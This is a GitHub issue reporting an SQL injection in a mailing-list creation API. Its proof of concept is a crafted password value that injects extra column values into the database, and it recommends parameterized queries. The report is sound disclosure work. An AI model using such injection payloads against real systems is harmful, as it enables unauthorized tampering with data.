Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL Injection creating a mailing list #5

Open
fser opened this issue Oct 11, 2016 · 0 comments
Open

SQL Injection creating a mailing list #5

fser opened this issue Oct 11, 2016 · 0 comments

Comments

@fser
Copy link

fser commented Oct 11, 2016

There is no user escape in the current API.
For instance, the password provided to create a mailing list can be used to inject arbitrary data.

Poc:

  1. Create a mailing-list
  2. Set the following password ','2890','blip','CREATE') ; -- #
  3. Enjoy the beauty of your creation:
mysql> select * from mailman where id = 6585;
+------+------+---------+----------------+---------+----------+-------+------+----------------+----------------+
| id   | uid  | list    | domain         | name    | password | owner | url  | mailman_action | mailman_result |
+------+------+---------+----------------+---------+----------+-------+------+----------------+----------------+
| 6585 | 2890 | foo1234 | code-libre.org | foo1234 |          | 2890  | blip | CREATE         |                |
+------+------+---------+----------------+---------+----------+-------+------+----------------+----------------+
1 row in set (0.01 sec)

Close note: there are probably other vulnerabilites. The new SQL class which uses PDO should be used.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant